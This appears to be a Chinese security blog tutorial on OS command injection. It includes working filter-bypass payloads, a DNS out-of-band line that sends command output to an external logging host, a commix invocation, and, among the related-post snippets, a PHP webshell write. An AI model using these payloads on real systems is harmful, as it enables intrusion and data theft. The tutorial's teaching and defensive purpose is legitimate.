常见操作系统命令注入思路

HW 蓝队面试题整理 研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击。这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。 阅读详情

常见操作系统命令注入思路

在这里插入图片描述

一.什么是命令注入:

命令注入:

OS command injection翻译过来是操作系统命令注入,它可以让攻击者可以在运行应用程序的服务器上执行任意的操作系统(Operating system)命令,并且通常会完全破坏应用程序及所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其它部分,利用信任机制将攻击转移到组织内的其它结构。

注入攻击的本质:

攻击者通过输入将精细准备的Payload,使得被攻击系统错误的将恶意代码/命令拼接至已有的命令/代码中进行执行。

二.命令注入的方法:

2.1命令注入的基本呈现形式

从DVWA靶场看看,命令注入的呈现形式:
在这里插入图片描述

|符号 拼接注入 命令arp -a,通过这种方式改变/扩展了被测对象的功能。攻击者通过这种方式获取被攻击对象的敏感信息,甚至完全控制被攻击对象。

其实从呈现形式上来看,命令注入不复杂也不难理解,核心就是利用特定的连接符,将攻击者注入的攻击命令拼接至已有的代码中触发执行:

<?php

if( isset( $_POST[ 'submit' ] ) ) {

	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if (stristr(php_uname('s'), 'Windows NT')) { 
		$cmd = shell_exec( 'ping  ' . $target );
		$html .= '<pre>'.$cmd.'</pre>';
	} else { 
		$cmd = shell_exec( 'ping  -c 3 ' . $target );
		$html .= '<pre>'.$cmd.'</pre>';
	}
}
?>

如上代码所示,攻击者输入的攻击代码会拼接到$target变量中,通过shell_exec函数触发执行。

2.2命令注入的基本姿势

前面聊到了命令注入的核心是拼接,故本章节重点介绍几种bash中常用的命令拼接的方式:

command1 & command2 及 command1; command2

先执行Command 1,不管是否成功,都会执行Command 2

kali@kali:~/test$ 111;uname -a
bash: 111:未找到命令
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux


kali@kali:~/test$ 111&uname -a
[5] 29294
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
bash: 111:未找到命令
[5]+  退出 127              111


kali@kali:~/test$ uname -a;cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin



kali@kali:~/test$ uname -a&cat /etc/passwd
[5] 29308
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
kali@kali:~/test$ Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux


command1 && command2

与的逻辑,先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

kali@kali:~/test$ 1111&&uname -a
bash: 1111:未找到命令



kali@kali:~/test$ uname -a&&cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

command1 | command2

command1、command2都会执行 command1的标准输出作为command2的标准输入


kali@kali:~$ cat /etc/passwd |wc -l
53
kali@kali:~$ 
command1 | | command2

或的逻辑,如果command1 执行成功,则不执行command2;如果command1执行失败,则执行command2:


kali@kali:~/test$ uname -a || cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

kali@kali:~/test$ 111 || cat /etc/passwd
bash: 111:未找到命令
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

2.3命令注入的Bypass技巧

命令注入作为常见的漏洞类型之一,注重应用安全的项目会添加一些过滤或者部署WAF来进行防御,本章节介绍一些基于 Linux bash的绕过技巧,并不完备,大家可以自行举一反三:

2.3.1关键字过滤bypass

有一定安全意识的项目会编写一些黑名单规则或基于字符串匹配对于用户输入的命令做一些过滤,但往往难以尽善尽美。基于这些手段,我们可以尝试如下bypass手段。

2.3.1.1 找替代命令bypass

找替代命令是最直接的绕过思路,拿最基本cat查看命令为例,如果被过滤我们可以找到如下替代命令:

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
tailf:类似于tail –f
paste:读取文件:

2.3.1.2 关键字拼接绕过

采取关键字拼接的方式进行绕过:

kali@kali:~$ a=ca;b=t;$a$b /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

2.3.1.3 编解码bypass

采取关键字动态编解码的方式进行绕过:

hex编解码绕过

kali@kali:~$ echo -e '\x63\x61\x74'
cat
kali@kali:~$ `echo -e '\x63\x61\x74' /etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

base编解码绕过

kali@kali:~$ echo Y2F0Cg==|base64 -d
cat
kali@kali:~$ `echo Y2F0Cg==|base64 -d` /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.3.1.4 通过特殊符号bypass

转义字符bypass:
命令关键字中增加转义\,不会起起到转义的效果。显式当字符串处理时会进行转义。

──(root💀bdba)-[/usr/bin]
└─# echo "\t"                                                                                                                                                                                                                                                                                                                     
┌──(root💀bdba)-[/usr/bin]
└─# echo \t  
t
                                                                                                                                                                   
┌──(root💀bdba)-[/usr/bin]
└─# ca\t "/etc/passwd"
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin


/t 本应该为: 水平制表(HT) (跳到下一个TAB位置)

引号bypass:
在输入的命令中部分字符添加上’'或"",其命是等效的。


kali@kali:~$ 
kali@kali:~$ u'n'ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

kali@kali:~$ un"a"me -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~$ 

root@kali:/# u''name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux

root@kali:/# u""name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root@kali:/# 

通配符bypass
?或* 在bash中可以替代一个或多个字符。

kali@kali:/bin$ u?ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ 


kali@kali:/bin$ cat /e?c/p*d
cat: /etc/pam.d: 是一个目录
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

2.3.1.5 shell 特殊变量bypass

$1、2、2、2、@

kali@kali:/bin$ u$1name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$2name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$@name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ 

2.3.1.5 引入其他人为干扰bypass

将注入命令中插入一些无效的变量替换,人为的干扰字符串匹配过滤的规则:

kali@kali:/bin$ who`sadada`ami
bash: sadada:未找到命令
kali
kali@kali:/bin$ who$(sadada)ami
bash: sadada:未找到命令
kali
kali@kali:/bin$ 

2.3.2特殊符号过滤bypass
2.3.2.1空格过滤bypass

重定向符号绕过:

ali@kali:~$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin



root@kali:/home/kali# cat<>/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

shell内部域分隔符绕过:

root@kali:/home/kali# cat${IFS}/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

root@kali:/home/kali# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Internal Field Separator (内部字段分隔符),是linux的环境变量,其默认值为“空格”
root@kali:/home/kali# IFS=:
root@kali:/home/kali# a=“hahaha:hehehe”
root@kali:/home/kali# echo $a
hahaha hehehe

2.3.2.2 拿来主义

从已有环境变量中扣出需要的字符:

gpadmin@cyberlabsz05-EC600G3-GE:~$ echo $HOME
/home/gpadmin
gpadmin@cyberlabsz05-EC600G3-GE:~$ echo ${HOME:0:1}
/
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

从已定义的环境变量中提取已经被过滤掉的字符

2.3.3命令长度限制bypass

一道 CISP-PTE 认证考试的真题还原,考试前序步骤省略,最终可以拿到如下代码进行审计:

<?php
show_source(__FILE__);
error_reporting(0);
$cmd = $_GET['cmd'];
echo '<br>'.strlen($cmd)'<br>';
if(isset($cmd) && (strlen($cmd)<=10))
{
	@exec($cmd);
}
echo $_SERVER['SERVER_ADDR'];
?>

这题明摆着告诉你是一道命令注入题,php的exec函数可以执行系统命令,但此处对于用户输入有长度限制需要绕过。

解决办法:

可以通过 >> 输出重定向,向一个.sh中多次追加写入绕过输入长度限制:

kali@kali:~$ echo 'cat /etc\' >> cmd.sh
kali@kali:~$ echo '/passwd' >> cmd.sh
kali@kali:~$ chmod +x cmd.sh
kali@kali:~$ ./cmd.sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


kali@kali:~$ cat cmd.sh
cat /etc\
/passwd
kali@kali:~$ 

2.4注入点的探测及回显问题

命令注入攻击时执行结果往往不会直接返回,那么如何确认是否真的存在注入点?如何获取注入命令的信息反馈呢?

2.4.1重定向命令执行结果
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /etc/passwd > /tmp/passwd
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

输出重定向到文件需要考虑路径和文件的写入权限问题,通常/tmp 是对于所有用户都有读写权限的。另外可以考虑将注入命令回显信息,写入到某个log文件中,通过前端的log日志下载/查看功能获取命令注入回显。

2.4.2通过捕获ping包及时延判断注入点的存在

某路由器产品的诊断功能产品存在命令注入漏洞,但是后端代码对于回显内容进行了匹配和过滤,采用如下方法判断注入点的存在:
在这里插入图片描述

在这里插入图片描述

通过ping包和ping包之间的时延,判断拼接至被测对象的os 命令被执行,从而判断命令注入点的存在。

2.4.3 通过应用协议带外输出

命令执行结果,通过DNS查询带外输出举例:

http://ceye.io 注册拿到一个子域名:lblawe.ceye.io,注册号后如下图所示:
在这里插入图片描述

该平台可以记录DNS查询信息,借助此平台我们有机会,将命令执行的结果,通过外部平台查看到。假设,当前期待拿到被攻击对象whoami 命令的执行结果。我们采用如下的方式进行命令注入,触发DNS查询:


ping `whoami`.lblawe.ceye.io 

如下图所示,whoami 命令的执行结果会通过 DNS log的形式记录在ceye.io站点:

在这里插入图片描述

如上图所示,whoami命令的执行结果 root,被当做DNS查询日志,记录在ceye.io站点中。

三.命令注入案例分析:

3.1测评工作中发现的命令注入问题的归纳

命令注入探索方式:
正向探索、反向探索、尝试直接复现

漏洞呈现形式:
产品配置滥用、产品功能滥用、对外接口滥用、组件遗留漏洞滥用、预埋后门被滥用

测试思维:

比较思维:寻找横向可替代资源
观察细节:控制台、日志的两面性;可测试性,让不可见变为可见。
识别可变化的事物:识别可变化的事物

参考《探索吧!深入理解探索式软件测试》

3.2测评工作中的典型命令注入漏洞分享

信息安全要求,与公司实际产品相关的漏洞细节不能呈现…

3.2.1 预埋后门被滥用案例

[某数据卡存在操作系统任意命令执行AT指令后门](高危)

漏洞描述
逆向二进制文件,走查代码发现数据卡存在任意命令执行AT指令后门。

探索思路
反向探索:猜测(开发人员习惯)->审计,寻找匹配的代码段->实验,验证漏洞的存在。

从测试心理学的角度来说,一切好的测试都源于怀疑、猜测,假定缺陷/漏洞是存在的;而不像CI那样期待软件永远相安无事的运行下去…。

3.2.2 产品配置滥用案例分享_1

某 摄像头 [WEB UI 网络配置->NTP设置存在linux命令注入漏洞](高危)

漏洞描述
摄像头 NTP协议功能配置存在linux命令注入漏洞。

探索思路
正向探索:猜测(产品实现方案)-> 基于实现方案的特征,尝试注入

省事的设计方案,往往给你埋下最多的麻烦。

3.2.3 产品配置滥用案例分享_2

某产品配置 管理->容灾复制->容灾复制计划 存在命令注入漏洞

漏洞描述
某产品配置->管理->容灾复制 功能接口 可以在 复制源路径 或 目的路径参数注入Shell命令实现越权

探索思路
正向探索:审计log打印->猜测功能的实现方式->实验,确认漏洞的存在。

不要让我知道得太多!

3.2.4 产品功能滥用案例分享_1

buffalo 路由器诊断功能命令注入漏洞

漏洞描述
buffalo 路由器网络诊断功能,由于后端对于用户输入的IP地址参数检查不严,导致命令注入

探索思路
正向探索:比较(相似的案例、相似的对外呈现)->直接复制经验,确认漏洞的存在->绕过限制成功利用。

跟学生时代做题一样,见得多做的多就会有更多的条件反射。

探索过程
https://blog.youkuaiyun.com/jdhellfire/article/details/121969416

3.2.5 产品功能滥用案例分享_2

某产品 补丁升级>篡改补丁包实现命令注入,越权创建管理员账户(高)

漏洞描述
补丁包没有签名及完整性检查。篡改补丁包实现命令注入可以越权创建管理员账户。

探索思路

反向探索:逆向->漫游文件和代码->敏锐的识别有风险的方案->实验和利用。

如果没有足够的防御意识,为用户提供方便和灵活性的的同时,也同样给攻击者大开方便之门。

3.2.5 产品功能滥用案例分享_3

某产品 版本升级功能,通过版本包文件名可以实现命令注入(中危)
漏洞描述
版本升级功能,upgrade 子程序在调用系统命令执行版本包解压时,对于文件名没有做合法性效验。可以通过版本包文件名实现命令注入。

探索思路
反向探索:代码逆向,搜索危险函数->猜测对应的产品功能->实验确认漏洞存在

不是只有web 才有命令注入…

3.2.6 对外接口滥用案例分享

某产品消息代理 工具check 消息接口存在命令注入漏洞(高)
漏洞描述
某产品消息代理 工具 消息接口存在危险的命令拼接,及root 权限bash命令执行。存在高危命令注入漏洞

探索思路
反向探索:找木桶短板->代码走查找危险函数->猜测对应的对外接口->构造消息验证漏洞的存在。

渗透测试不在于覆盖率多少产品模块,而在于找到木桶短板…

3.2.7 组件遗留漏洞滥用案例分享

某产品 OpenSSH组件存在命令注入漏洞(高危)
漏洞描述

某产品 OpenSSH组件版本为5.03.30,存在已知的CVE漏洞CVE-2020-15778,攻击者可以利用此漏洞实现命令注入。

探索思路
尝试直接复现:商用工具扫描->发现组件遗漏漏洞->找exp/poc直接尝试复现。

四.命令注入工具分享:

4.1 commix工具简介

commix

在这里插入图片描述

Commix(简写为[comm]和[i]njection e[x]ploiter),是由Anastasios Stasinopoulos 编写的一个自动化工具,可以由web开发人员、渗透测试人员甚至安全研究人员使用,用于测试基于web的应用程序,以发现与命令注入攻击相关的bugs、错误或漏洞。通过使用该工具,可以很容易地在某个脆弱参数或HTTP头中发现和利用命令注入漏洞。

工具的指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:

目标:

-u URL,—url = URL  目标URL。

请求:
—data=DATA      要通过POST发送的数据字符串。

—host=HOST       HTTP主机头。

—referer=REFERER    HTTP Referer标头。

—user-agent=AGENT   HTTP用户代理头。

—random-agent    使用随机选择的HTTP User-Agent头。

—cookie=COOKIE    HTTP Cookie头。

—headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。

—force-ssl      强制使用SSL / HTTPS。

4.2 commix应用简介

通过 commix 工具自动注入DVWA靶场:

burpsuite 抓包拿到cookie和data:
在这里插入图片描述

构造命令,执行注入:

python commix.py --url="http://192.168.100.199/DVWA1/vulnerabilities/exec/" --data="ip=192.168.100.199&submit=submit" --cookie="security=low; PHPSESSID=206s7i424rtjsfdi1m0jjd5or0"

在这里插入图片描述

五.命令注入的防御Tips:

  1. 到目前为止防御OS命令注入攻击的有效方法是永远不要从应用程序代码中调用OS命令。在几乎每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。

  2. 如果认为无法通过用户提供的输入来调用OS命令,则执行更强大的输入验证,有效的验证方法包括:

    ●根据输入值来对比白名单上的内容。

    ●验证它们的输入是否仅包含字母数字字符,不包含其它语法或者空格。

  3. 千万不用通过转义shell字符来清理输入。实际上很容易出现绕过。

  4. 对于操作系统busybox组件进行裁剪;去掉产品功能实现不需要的命令、功能模块。

  5. 为了减少命令注入带来的影响,不要轻易采用root权限启动应用。

  6. log、打印回显中,谨慎暴露产品实现细节信息,不要给攻击者更多的想象空间。

参考:

什么是OS命令注入,如何防止 :
https://portswigger.net/web-security/os-command-injection

[工具] Commix :
https://github.com/commixproject/commix

PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

命令行注入(Command Injection) 命令行注入攻击是指黑客通过把恶意代码输入一个输入机制(例如缺乏有效验证限制的表格域)来改变网页动态生成的内容的一种攻击手段。它允许攻击者执行系统命令,从而控制受影响的系统或服务器。命令行注入攻击作为一种严重的网络安全威胁,要求我们在开发、部署和维护Web应用程序时始终保持高度的警惕性。通过实施全面的防御策略,包括加强输入验证、使用安全的函数和机制、实施白名单验证、遵循最小权限原则、进行安全配置与更新、实时监控与响应以及加强开发者教育与培训等,我们可以显著降低命令注入攻击的风险。 阅读详情

相关推荐

WEB安全基础入门—操作系统命令注入(shell 注入)_文件参数 shell 命令注入

攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。

2401_84186067的博客 946

渗透测试-命令执行注入

渗透测试-命令执行注入

lza20001103的博客 4355

DVWA通关--命令注入(command injection)

low 通关步骤 1、输入127.0.0.1试一下有没有回显 有的 2、输入127.0.0.1 | whoami 命令注入成功 3、尝试写入木马 payload:127.0.0.1 | echo "<?php assert($_POST[ele]);?>" > e1.php 这边注意,我试了echo后面的内容不加引号,或者加单引号,都没有文件生成。网上找到的echo的资料中也都是双引号。 submit之后无回显 4、服务器上看当前关卡目录下有文件e1.p

箭雨镜屋 3011

【Web漏洞探索】命令注入漏洞

命令注入(又叫操作系统命令注入,也称为shell注入)是指在某种开发需求中,需要引入对系统本地命令的支持来完成某些特定的功能。当未对可控输入的参数进行严格的过滤时,则有可能发生命令注入。攻击者可以使用命令注入来执行系统终端命令,直接接管服务器的控制权限。它允许攻击者在运行应用程序的服务器上执行任意操作系统命令,并且通常会完全破坏应用程序及其所有数据。

kjcxmx的博客 8328

初识SQL注入

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。注入能导致数据丢失、 破坏或泄露给无授权方,缺乏可审计性或是拒绝服务。注入有时甚至能导致主机完全被接管。注入攻击的本质:就是把用户输入的数据当做代码执行。(过于信任用户)SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的入侵行为。

若谷的博客 1035

WEB安全基础入门—操作系统命令注入(shell 注入)

WEB安全基础入门—操作系统命令注入(shell注入) 欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路! 欢迎关注订阅专栏!......

一个安全白帽子的成长记录:Web 安全、漏洞复现、内网渗透。完整目录在 gysec.top 2284

网络安全常见知识点2

天眼告警页面有一个查看详情,可以打开具体的流量包,先看请求头和请求体是否含有SQL注入常用的SQL语句,比如and 1=1 ,比如sleep,比如updatexml等,如果有的话,说明是攻击,然后看响应,响应状态码为404这种情况,就是没有利用成功,如果是响应码是200,就看响应体内容,看是否包含查询出的预期结果,如果含有预期结果,则攻击成功,处置的话,先申请封禁IP,然后向客户申请对相关服务下架处理,然后对漏洞进行修复,如果被爆出了账号,需要修改密码。就是找到一些使用不当的函数,就可以挖掘想要的漏洞了。

zzf011900的博客 720

VS2022打包C#安装包(最新、最全)

VS2022打包C#安装包(最新、最全)

qq_37959253的博客 9890

SQL注入与防御-第六章-2:利用操作系统--执行操作系统命令

执行操作系统命令是 SQL 注入的高阶攻击,利用数据库高权限特性突破边界。防御需聚焦权限管控、功能禁用、日志审计,切断数据库到系统命令的执行链路。不同数据库的实现差异大,需针对性加固。

weixin_44981118的博客 1393

Python实战:5分钟搞定VCF文件中每个样本的SNP统计(附bcftools安装指南)

本文介绍了三种高效统计VCF文件中每个样本SNP数量的Python方法,包括原生解析、结合bcftools的推荐方案以及使用PyVCF3专业库。特别推荐bcftools结合Python的方法,适用于中大型VCF文件,显著提升处理效率。文章还提供了bcftools安装指南和进阶统计技巧,帮助生物信息学分析人员快速完成SNP统计任务。

weixin_30555125的博客 493

我的二进制漏洞挖掘学习路线

漏洞挖掘也分好多方向:浏览器漏挖,虚拟化,iot,车联网,应用安全等。而且也要区分一下平台,Linux,Android,Windows,还有一些其他的系统。在基础知识拿捏以后,Windows下如OD,windbg,x64dbg。IDA,GDB要会并联调。然后需要了解一下漏洞的知识,漏洞利用的知识。可以从复现漏洞,CTF来学习,学习完之后就可以通过审计源码或者反汇编二进制程序来挖掘。然后就是练就行了,多关注一下最新安全消息,安全漏洞。

qq_36918532的博客 4942

DVWA-命令注入

DVWA-命令注入通关 命令注入相関概念及命令注入的防御

weixin_51513059的博客 6293

c#视觉应用开发中如何使用Emgu CV在C#中进行图像处理?

Emgu CV 是 OpenCV 的 .NET 包装器,可以让开发者在 .NET 语言(如 C#)中使用 OpenCV 的功能进行图像处理。在进行图像处理时,Emgu CV 提供了丰富的 API 可以使用。PictureBoxImageBox下面是一个详细的示例,演示如何使用 Emgu CV 在 C# 中进行基本的图像处理,包括加载图像、转换为灰度图像、进行边缘检测,然后显示结果。byte在这个示例中,我们使用了三个PictureBox控件来显示原始图像、灰度图像和边缘检测后的图像。

zhangzhechun的专栏 666

【超详细版】SQL注入原理及思路绕过(看这篇就够了)

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

fly_enum的博客 3万+

Python爬虫教程:爬取法院司法拍卖数据全流程实战(附反爬+数据分析方案)

Python爬虫爬取法院司法拍卖数据的核心是模拟真人行为规避反爬+精准解析页面数据+合理处理数据。新手不用一开始就追求高级的反爬技巧和复杂的数据分析,先把基础的分页爬取和数据保存功能跑通,再逐步优化。我做的这个工具现在每周帮朋友爬取全国10个城市的法拍房数据,自动生成分析报告,他说这让他的投资决策效率提升了一倍。如果你们在开发过程中遇到问题,比如反爬失败、数据解析错误,都可以在评论区留言,我会尽力解答。后续我还会出一期爬取京东司法拍卖数据的教程,帮助大家获取更多的法拍数据来源。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 2176

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的农作物害虫检测系统(深度学习模型+UI界面+训练数据集)

随着人工智能技术在农业领域的深入应用,基于深度学习的害虫检测系统已成为智慧农业的重要组成部分。本文详细介绍了一种基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的农作物害虫检测系统,涵盖算法原理、数据集构建、模型训练、系统实现及完整代码。该系统能够实时检测并识别多种农作物害虫,为农业生产提供精准的病虫害监测解决方案。

YOLO 273

php命令注入攻击

这次实验内容为了解php命令注入攻击的过程,掌握思路。 命令注入攻击 命令注入攻击(Command Injection),是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。 PHP中可以使用下列四个函数来执行外部的应用程序或函数:system、exec、passthru、shell...

vergilben的学习日记 1万+

(论文加源码)基于CNN和LSTM的脑电情绪识别(数据集为DEAP和seed)

论文及源码见个人主页:https://download.youkuaiyun.com/download/qq_45874683/84118637?spm=1001.2014.3001.5503 (论文加源码)基于CNN和LSTM的脑电情绪识别(数据集为DEAP和seed)4D-CRNN 目录 目录: 运行过程: 1. 运行1D文件(没有什么bug): 2. 再运行3D文件(没有出现bug): 3. 最后运行main文件(出现了两个bug)(前提需要配置好tensorflow的框架): 第一个bug是..

qq_45874683的博客 6363

RCE(远程命令执行)(例题包括命令注入和eval注入)

​远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval。二、RCE漏洞的分类1.命令注入(通过控制外部的参数达到执行系统命令的效果) 2.文件包含 3.eval注入(1)命令注入。

2401_82388450的博客 1990

Challenge 4 - OSCP A

在c盘下发现一个windows.old,在里面可以找到SYSTEM和SAM文件,下载到本地,利用samdump2解密发现没解出来,再来试试pwdump.py(https://github.com/CiscoCXSecurity/creddump7)得到压缩包密码bludecode,解压之后发现一个比较特殊的文件configuration.php,里面有两个类似密码的字符串。登录之后在/opt/backups/下发现几个特殊文件,其中sitebackup3.zip是个正常的压缩包。但是这个压缩包是有密码的。

羽的博客 5773

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

常见WEB漏洞—SQL 注入

SQL 注入是一种危害性极大的安全漏洞,可能导致严重的数据泄露和系统破坏。通过采取严格的输入验证、使用参数化查询、实施最小权限原则等措施,可以有效防范 SQL 注入攻击。定期进行安全测试和漏洞扫描也是确保应用程序安全的重要手段。如果你的应用可能存在 SQL 注入风险,建议立即排查并修复!

Innocence_0的博客 1285

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

【网络安全】SQL注入原理及思路绕过,看这一篇就够了!

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

2301_77472496的博客 920

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

SQL注入思路总结

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

m0_49936858的博客 482

sql注入原理及思路

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

qq_63265389的博客 493
上一篇: D-Link DIR505路由器溢出漏洞实战
下一篇: Buffalo WCR-GN路由器诊断功能命令注入漏洞
牛屁哄哄叫兽
博客等级 码龄18年 56粉丝 49原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

